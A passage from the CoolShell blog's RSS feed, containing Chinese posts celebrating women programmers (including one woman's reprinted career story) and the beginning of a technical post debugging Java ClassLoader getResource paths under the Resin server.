/>\n单片机或ARM的世界。</p>\n<p>后来，关同学对我的赞不绝口指出：这个方案是你告诉我的啊。</p>\n<p>我说：啊？</p>\n<p>她说：就是大仪网的时候，你告诉我blabla。</p>\n<p>我想起来了。不过，这仍不是我的方案，而是她的。一个方案之所以好(像这个，好到如此突出，以致你一眼就能看到，绝不可能错过，如果你看到了的话)，是因为它被应用在一个恰好合适的领域，恰好解决了一个难题。至于这个方案有多难有多容易，有多高科技，其实不是多重要。</p>\n<p>关同学刚毕业的时候，我们在CIAC讨论一个框架，当时我说：这个倒是可以再抽象，不过我的方案有点耍赖了。</p>\n<p>关同学说：你是不是要用函数指针。</p>\n<p>是的。而且我非常欣慰了一下，因为学生优秀。</p>\n<p>黄同学当时认为：函数指针，也没啥难的啊。</p>\n<p>是的。函数指针一点也不难，能想到用函数指针解决这个问题，是一个高度。</p>\n<p>关同学在此刻想到了一个如此好的方案，所以接下来的半年，我们都不必那么焦虑了。</p>\n<p>这就是解析解。</p>\n<p>关的方案，不是减轻了劳动，不是像我以工程的方法、各种测试 (关今天还提出用MATLAB生成测试数据，也很好，后来给齐同学用上了) 来控制代码质量，用框架规范程序员的行为，这些都不是，关同学直接替代十来个人把40个用例生成了出来。</p>\n<p>代码质量如此一致和优秀，是由图灵保证的。</p>\n<p>* 后后记</p>\n<p>上午，与一位技术人员和一位经理谈话。</p>\n<p>我提到 通用的CMS &gt; 定制的站点 &gt; 使用CMS。</p>\n<p>那位技术人员不认可。我说：我刚刚说错了啊，我不是指复杂，而是指困难。</p>\n<p>那位技术人员blabla说，这不困难，只要如何如何即可。</p>\n<p>我说：其实我们也不必达成一致意见。我的意思不是说我们无法实现，我说的我会收更多的钱。</p>\n<p>争执略去，我同意那位技术人员的下面这个观点 (大致意思，我翻译过的) ，但是当时没有时间表达：这不是工作量，而是更高的高度。</p>\n<p>是的，那不是更复杂，不是更消耗时间，甚至不是更困难。</p>\n<p>那就是更值钱。</p>\n<p>关同学用事实告诉我：一名战士完全可以是一支军队。没错。</p>\n</div>\n<div style=\"font-family: 'Microsoft YaHei'; font-size: 13px; background-color: #fafafa; border: solid 1px #EEE; margin: 4px 5px 4px 30px; padding: 0px 10px 0px 10px; border-radius: 10px; box-shadow: inset 0 0 4px rgba(0,0,0,0.5);\">\n<h5 style=\"font-size: 15px; margin: 5px 0px; border-bottom: solid 1px #CCC;\">Zheng &#8211; 永不放弃程序员的工作</h5>\n<p>从工作年限来说，我还不能算是一个程序员，因为现在还是一个大四的学生。但是我已经认定了程序员的这条道路。<br />\n高考结束后考虑专业问题，那时我的兴趣是文学，但是因为现实社会的关系和家庭经济的原因，我在毕业生收入排行榜上选择了平均收入最高的专业，软件工程。大一时懵懵懂懂，挂了很多科目，重修，从大二起开始拿奖学金，开始参加项目。因为大一评奖学金时看到自己排在倒数第二的位置，看到同班的同学参加各种软件比赛，我那时就开始思考，我在做什么？于是开始疯狂地写程序，重新学基础知识，认真上课，经常去看一些IT博客。在一家公司实习，我开始接触分布式系统的东西，那时leader让我一个人负责这一块，我就像实验的小白鼠的一样，但是我却感到很如鱼得水，我喜欢快速掌握一门新的领域，并学会总结。那是我真正意义上的在linux下的开发工作，学会了c网络编程，shell，python，hadoop,hive。那里的开发团队只有我一个女生，我见识到一个优秀的程序员所应该具备的一些素质，对技术热点的掌握，对产品的敏锐，不仅是代码，而且是融入产品的设计中，能提出作为一名开发者的意见。如果说作为一个女程序，我与他们不同之处，恐怕是得到更多的照顾，也学到很多。</p>\n<p>实习两三个月后，我选择离职，在我看来，没有毕业的我实习就是一个新的课程，工作经验就像是旅程，经历的风景是阅历，也是财富。我选择了去一家做云存储服务的公司，在那边更深入地了解关于分布式系统的知识，而这些知识的获取是我自己间接得到的，并非公司培训。我刚到那里，发现还有另一个女程序，她很活泼，而且在项目开发中占据很重要的位置。从一个程序员的角度出发，我并不觉得会写代码是一件多么厉害的事，重要的是上手的能力，系统设计的能力，构架高性能的能力。而基础这些东西只要是一个智力水平相当的人，通过一定时间的磨练，都有可能掌握的。这家公司的资源很丰盛，我的任务并不多，更多的时间是自我学习和研究毕设课题。因为leader没有放手让我干活，干的只要是python脚本的一些开发，所以每次任务来的时候我都很快完成，一般leader上午给任务，下午下班前我就可以提交代码，剩下时间就做自己喜欢的c/c++的cli小应用和一些nosql开源项目。有时一个程序出错，就很偏执地想把错误找出来以后再收工，导致吃饭误点，这样的习惯对身体很不好，现在也正在努力改正中。工作经历差不多就是这些,不介意的话讲一下求职经历。</p>\n<p>我去面试时，很多面试官都会问我，女生做开发人员的问题。我想这本来就不是一个问题，作为一个人，你需要养家糊口，我也需要。我也有自己的职业规划，清楚知道自己想要什么。从懵懂到略知一二，到准备跳进火坑里塑造一个雷厉风行的新的自我。我一直相信人的某些性质是会变的，随着阅历，经历，实践的不同也产生质的改变。你现在看到的是一个弱女子，未必将来你不会看到一个女架构师。这些都是在进入hr面以后经常会和hr聊到的东西。这份工作能体现我的价值，我就来了。这就是我求职一路的态度。后来成功拿到一些公司的offer。</p>\n<p>在未来的职场上，我也会不放弃程序员这份工作。学习的态度，认真负责的做事风格，即便我不是一个天才工程师，也可以成为优秀的程序员，不用刻意加“女”字。</p></div>\n<h5 style=\"color: #cc0000; text-align: center; font-size: 20px; margin: 30px 0px;\">女程序员们，为你们骄傲，祝你们2012年更上一层楼。</h5>\n<p><strong>（另外，请各种网站、媒体，报刊，杂志，自由转载或是选取其中的故事做为你们的素材）</strong><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6346.html\">程序员因为女孩而美丽！</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/6346.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>118</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>一个女程序员的故事</title>\n\t\t<link>https://coolshell.cn/articles/6312.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/6312.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 30 Dec 2011 02:25:02 +0000</pubDate>\n\t\t\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=6312</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>因为有人在酷壳里评论里说我给一个女程序员的建议不靠谱，我不服，因为我的工作经历中的一些女程序员都很不错，比那些男程序员都强，所以，我在新浪微博和twitter上...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/6312.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/6312.html\">一个女程序员的故事</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>因为有人在<a href=\"https://coolshell.cn/articles/6142.html/comment-page-3#comment-113607\" target=\"_blank\">酷壳里评论</a>里说我给一个女程序员的建议不靠谱，我不服，因为我的工作经历中的一些女程序员都很不错，比那些男程序员都强，所以，我在<a href=\"http://weibo.com/1401880315/xE597iX6J\" target=\"_blank\">新浪微博</a>和<a href=\"https://twitter.com/#!/haoel/status/151856699387547649\" target=\"_blank\">twitter</a>上征集女程序员的故事和想法，这两天来，我收到了好几封邮件，让我很感动。其中，有一个故事让我回味很久，在脑海里挥之不去，可能是因为她的经历和我很相似，她的想法和我很有共鸣。</p>\n<p>本来，我想通过收到的这些故事然后编辑成一篇关于女程序员的文章，但是我觉得这个故事已经足够好了，任何的编辑都是对这个故事的不尊重，所以，我原封不动，一字不改地把这个故事转到这里。我把一些我认为精彩的地方加了粗。</p>\n<p>当然，我还是会再写一篇关于女程序员的文章，酷壳2011年底的最后篇文章和2012年的第一篇文章都是给女程序员的，因为，我为你们骄傲！</p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #000000;\">从哪里说起呢，我的程序员之路。有些话只是自己心里想的很明白，还从没说过。希望你有耐心看完，因为我的故事不精彩，也算不上奋斗史。我的文笔和叙事能力也很差。</span></p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #000000;\">高中报志愿的时候坚定的报了计算机技术及应用，当时对计算机的认识只是机房里的苹果机，和老师教的用basic 输出一个正方形之类的。 我当时觉得我对计算机一无所知，我想了解他，就选择了这个专业，当然当时程序员的收入也是可观的。 ：）</span></p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #000000;\">大学四年下来，我的成绩不好，基础也不好，没拿过奖学金。大学的课程很多不喜欢，我不知道为什么计算机系还要学高等物理，和马列毛邓。这是题外话。说实在的，很多课上的我一头雾水。毕业后找工作不满意，我直接去读了软件工程（考研的专业课成绩没到线）。两年制，一年上课，一年实习。我想给自己的履历上增加一些至少能给我面试机会的经历。（我仔细思考过我成绩不好的原因，心里因素是主要的，高中在重点中学，我不能接受自己不是尖子生的事实，总在想自己为什么这么差，以至于这样的心情影响了我很多年，一直到工作后的几年）</span></p>\n<p><span id=\"more-6312\"></span></p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #000000;\"><strong>实习的第一家公司是个私企，工作两周后他们不满意辞退了我，沮丧是当然的，我知道我的能力是有差距的。虽然他们没有任何培训，直接拉去干活，起码的业务流程也没给我讲，但是我真的发自内心感谢他们辞了我，让我认清了自己</strong>。其实当时干的就是一些perl 脚本和php的网页开发。</span></p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #000000;\">实习的第二家也是私企，给运营商做项目。我参加的是一个工作流项目，用java开发。我当时的java技术仅限书本身的不怎么牢靠基础知识，至于怎么设计这个系统也没有一点概念，终于一个月后我决定退出了。<strong>经过这一个多月，我似乎知道了自己该从哪里开始了。就从java开始吧</strong>。</span></p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #000000;\">经同学介绍，去了第三家实习公司，面试的经理对实习生要求不高，让我能有机会实习。做的是银行和证券公司的网站，我主要做前端jsp的页面，同时我也选修了学校请的一位Weblogic的工程师开设的J2EE的课程。总算开始入门了。公司的同事很帮助我，有耐心让我了解了系统后台的架构。后来我随几位去客户那里出差，周末和晚上加班，为了他们临时改的需求。同事说，你一个女生出差一点不发憷啊。其实我一点不觉得累。同组的team lead没事就鞭策我说，你就甘心写code么，不能总是做开发，该为以后想想。但是我当时想法是，我的视野当时有限，还不确定自己能做成什么样子。我在这家公司完成了毕业论文。然后毕业。</span></p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #000000;\">毕业找工作，我没有留在实习的公司，我想多试试。找工作的经历不多，我去过联想面试，笔试过了，一面是HR面，题目现在大概还记得，如果有化学家，天文学家，医生，乞丐，孕妇，在一个荒岛上，你只能带走一个，你带走谁呢？分组讨论，得出一致的结论，也要说出自己的结论。 同组有清华的毕业生，真的很自信，她说要带走天文学家。我说，出于人道，我肯定带走孕妇。后来就没了消息。难道医生可以留下照顾孕妇么，还是HR以为我选孕妇是注重家庭的人，没有事业心呢，我觉得这题真的不能说明什么。</span></p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #000000;\">之后面试了一家日资企业，一面是很多人一起面，我听了一圈之后，觉得自己有些把握，因为同组的人比我差，看来我运气挺好的。他们之中有本科生，有研究生，都是男生，就我一个女生。问的也挺基础，就是servlet如何工作，写没写过SP，其中有个人问，什么是SP，没人理他，我告诉他是store procedure。面试官是个部长。<strong>后来HR的人过来让我留下二面，说我一面打败了所有男士。</strong>说来惭愧，我真的是运气好，没碰到牛人。二面经理只问了些平常的问题，就过了，于是我来到这家工作。考虑的是，外企多少工作流程上比较规范，也见见日本人是怎么工作的，还有就是自己能力有限，欧美大公司估计是没戏的，我还是从力所能及的开始吧。</span></p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #000000;\">日本人工作的风格大家应该有所耳闻，就是喜欢加班，我进公司的第一个项目是代码改造，把VB6.0d code重写为VB.net。 加班到凌晨是常事，另外一个就是team lead的风格是没事也不能早走，也得耗到半夜才行。开始做的真是一点技术含量都没有，都是日本人写好guide，告诉你什么改成什么，别问为什么，不能有异议，他们怎么说你怎么改。弄得我当时都不去思考这里的技术细节，这是我当时犯傻的表现。除了技术本身，还有很多需要学习的。后来陆续做了一些我喜欢的java的项目，用到了sping，hibernate，ibatis, struts, ant等等。还有一些日本人自己开发的框架。每个项目的业务也都不同。在这家工作了三年，我觉得这不是我要的，我的技术提高有限，做的事都是别人设计好，甚至告诉你code应该如何写，而且做事风格不是我想要的。 我想去欧美文化的公司试试。也想做通讯相关的。</span></p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #000000;\">同学帮我投简历，我面试一家对欧美的外包企业，一面是本公司的人面，问了项目情况，说了说英语，我准备还算充分，过了，二面是公司的客户面，到公司和客户开电话会议面试，第一次和老美直接对话，我虽说有点紧张，但是还是专心听他的问题，听不清的就让他重复一遍，我现在记得的一个问题是如何写出高效的SQL。面完回家等通知。过了几天我收到了offer。</span></p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #000000;\">客户是为运营商提供软硬件服务。我们做的是BOSS系统的一个模块。都是java api。 几乎用到了J2EE中定义的所有组件和java相关的框架。我在这家工作至今。技术从不熟悉到熟悉，业务逻辑从不熟悉到熟悉，都是在开发每个feature和改的defect中慢慢了解的，硕大的系统不允许我一口吃个胖子。<strong>只要脑子里绷根弦就每天都有进步</strong>。加班不是常事，但是也有紧张的时候。 有时候一个defect要跟踪成千上万行代码，你才知道哪里出了问题，这是需要耐心和细心的。给客户的客户做support的时候，<strong>经常被半夜的电话叫醒去看一个现场的问题，我不觉得累和烦，我觉得这是我价值的体现</strong>（当然这不会每天发生）。修复一个defect我会有一点小小的成就感，每天晚上回家方便的话也会看看邮箱，看看有没有紧急的事情。<strong>有的人认为你下班了就没必要再管工作邮箱了，但是我愿意这么做，我觉得这是我职业精神的一部分，也是工作态度</strong>。</span></p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #000000;\">偶尔会帮着公司招聘毕业生，有时候会遇到什么简单问题都答不上来的人，我感觉就像看见当初刚毕业的我，临走，我会说一句，没关系，回去好好准备，看看基础知识。</span></p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #000000;\">我曾经怀疑过自己是否适合做技术，总觉得自己不如男生，也总在问自己的路在哪。而且没有自信，曾经紧张到，有人看我打字，都紧张的手抖。到现在，我觉得做技术挺好，就像你说的，我清楚的认识自己，我不是技术大牛，就每天写着自己的code，了解业务，挺好，但是不代表我不上进。很多女同学现在都不做技术了，也不写code了，但是我还在做，甚至越来越喜欢，在中国有种普遍的想法是，作几年技术该转去做管理，否则认为你不成功，这是人云亦云的说法。我想我为什么不能一直做技术呢？虽然中国的大环境可能不适合你一直做技术，但是我愿意试试。我不愿意放弃多年来积攒的一点点优势。何况我现在工作上越来越得心应手，<strong>不久前，我收到客户的邀请，他们想让我transfer到美国或者加拿大成为他们的一员，我在等待漫长的人事流程，也有可能会pending。但是我无所谓，我现在自信，知道想要什么。一直做技术，怎么了，不行么？</strong></span></p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #000000;\"><strong>谈到男女程序员的问题，有些男人以技术强自居，而少了一点谦逊和工作的严谨。有些技术不强的，有些懒散，得过且过。都是我遇到过真实的人。同组的一个女生来了几个月就比一个来了一年多的男生上手快，这说明什么的，态度和努力是重要的。我更认同的是技术和男女无关，和个人有关，任何以偏概全都是片面的</strong>。</span></p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #000000;\">同组的男同事们没有因为我是女性而轻视我，我很感谢他们，在一个team工作，技术是必要条件不是充分条件，合作，交流，态度，遵守流程，任何一个都缺少不了。<strong>如果我只是技术差点，那么我提高的空间是很大的。 多看看书，真的不难</strong>。虽然我可能离amazon或者是google这些企业的要求还有差距，但是那是我的方向<strong>。不过像baidu，腾讯这些流氓公司，给我多少钱也不去，女程序员也是有傲骨的</strong>，虽然也有可能他们看不上我的能力，但是，那又有什么所谓呢。</span></p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #000000;\">如果你能看完我这如白开水的文字，很感谢，因为我写的实在太不好了，这些经历普通不过，也证明我是个普通的人，<strong>如果我高中的时候不那么在意自己是不是优秀生，就能放轻松，大学（也在想这些）会有个好成绩，没准我就能如愿的毕业就进欧美大企业，不过那样我可能也少了以上跌入谷底的经历和现在平和的心态，我想后者对我更有意义</strong>。</span></p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #000000;\">不用署名，有的话，一个女程序员，哈哈。有错误处，见谅，中午休息，仓促的回顾了这些。技术本身心得有限，我就不班门弄斧了，还需努力。也请不要注我的微薄行号啦。另外我老公也是程序员，我和他能谈些技术和项目上的事情，我想是非女程序员感受不到的乐趣，哈哈哈。</span></p>\n<p>看到这里你还不想为她鼓掌吗？</p>\n<p>最后，请让我我再次征集——</p>\n<p>call 所有的女程序员，我想给你们写一篇blog，希望你们能和我分享你们的程序员的经历和技术心得。你是男程序员也没有问题，也欢迎分享你身边女程员的故事。 大家可以发邮件至：haoel(at)hotmail.com</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6312.html\">一个女程序员的故事</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/6312.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>220</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>由一个问题到 Resin ClassLoader 的学习</title>\n\t\t<link>https://coolshell.cn/articles/6112.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/6112.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[liuxiaori]]></dc:creator>\n\t\t<pubDate>Wed, 28 Dec 2011 04:22:55 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Java语言]]></category>\n\t\t<category><![CDATA[ClassLoader]]></category>\n\t\t<category><![CDATA[getResource]]></category>\n\t\t<category><![CDATA[getResourceAsStream]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<category><![CDATA[Resin]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=6112</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>（感谢网友 liuxiaori 分享其经历） 背景 某日临近下班，一个同事欲取任何类中获取项目绝对路径，不通过Request方式获取，可是始终获取不到预想的路径...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/6112.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/6112.html\">由一个问题到 Resin ClassLoader 的学习</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>（<span style=\"color: #cc0000;\">感谢网友 liuxiaori 分享其经历</span>）<br />\n</strong></p>\n<h4>背景</h4>\n<p>某日临近下班，一个同事欲取任何类中获取项目绝对路径，不通过Request方式获取，可是始终获取不到预想的路径。于是晚上回家google了一下，误以为是System.getProperty(&#8220;java.class.path&#8221;)-未实际进行测试，早上来和同事沟通，提出了使用这个内置方法，结果人家早已验证过，该方法是打印出CLASSPATH环境变量的值。</p>\n<p>于是乎，继续google，找到了Class的getResource与getResourceAsStream两个方法。这两个方法会委托给ClassLoader对应的同名方法。以为这样就可以搞定(实际上确实可以搞定)，但验证过程中却发生了奇怪的事情。</p>\n<p>软件环境：Windows XP、Resin 3、Tomcat6.0、Myeclipse、JDK1.5</p>\n<h4>发展</h4>\n<p>我的验证思路是这样的：</p>\n<ol>\n<li>定义一个Servlet，然后在该Servlet中调用Path类的getPath方法，getPath方法返回工程classpath的绝对路径，显示在jsp中。</li>\n<li>另外在Path类中，通过Class的getResourceAsStream读取当前工程classpath路径中的a.txt文件，写入到getResource路径下的b.txt。</li>\n</ol>\n<p>由于时间匆忙，代码没有好好去组织。大致能看出上述两个功能，很简单不做解释。</p>\n<p><span id=\"more-6112\"></span></p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\npublic class Path {\n    public String getPath() throws IOException\n    {\n        InputStream is = this.getClass().getResourceAsStream(&quot;/a.txt&quot;);\n        File file = new File(Path.class.getResource(&quot;/&quot;).getPath()+&quot;/b.txt&quot;);\n        OutputStream os = new FileOutputStream(file);\n        int bytesRead = 0;\n        byte[] buffer = new byte[8192];\n        while ((bytesRead = is.read(buffer, 0, 8192)) != -1) {\n            os.write(buffer, 0, bytesRead);\n        }\n        os.close();\n        is.close();\n        return this.getClass().getResource(&quot;/&quot;).getPath();\n    }\n}\n</pre>\n<p>&nbsp;</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\npublic class PathServlet extends HttpServlet {\n    private static final long serialVersionUID = 4443655831011903288L;\n    public void doGet(HttpServletRequest request, HttpServletResponse response)\n        throws ServletException, IOException\n    {\n        Path path = new Path();\n        request.setAttribute(&quot;path&quot;, path.getPath());\n        PrintWriter out = response.getWriter();\n        out.println(&quot;Class.getResource(&#039;/&#039;).getPath():&quot; + path.getPath());\n    }\n\n    public void doPost(HttpServletRequest request, HttpServletResponse response)\n        throws ServletException, IOException\n    {\n        doGet(request, response);\n    }\n}</pre>\n<p>在此之前使用main函数测试Path.class.getResource(&#8220;/&#8221;).getPath()打印出预想的路径为：/D:/work/project/EhCacheTestAnnotation/WebRoot/WEB-INF/classes/</p>\n<p>于是将WEB应用部署到Resin下，运行定义好的Servlet，出乎意料的结果是：/D:/work/resin-3.0.23/webapps/WEB-INF/classes/ 。特别奇怪，怎么会丢掉项目名称：EhCacheTestAnnotation呢？</p>\n<p>还有一点值得注意，getPath方法中使用getResourceAsStream(&#8220;/a.txt&#8221;)却正常的读到了位于下图的a.txt。<br />\n<img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-6280\" title=\"resin01\" src=\"https://coolshell.cn/wp-content/uploads/2011/12/resin01.png\" alt=\"\" width=\"547\" height=\"154\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/12/resin01.png 547w, https://coolshell.cn/wp-content/uploads/2011/12/resin01-300x84.png 300w\" sizes=\"(max-width: 547px) 100vw, 547px\" /></p>\n<p style=\"text-align: center;\">然后写到了如下图的b.txt中。代码中是这样实现的：File file = new File(Path.class.getResource(&#8220;/&#8221;).getPath()+&#8221;/b.txt&#8221;);本意是想在a.txt文件目录下入b.txt。结果却和料想的不一样。<br />\n<img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2011/12/resin02.png\" alt=\"\" width=\"430\" height=\"119\" 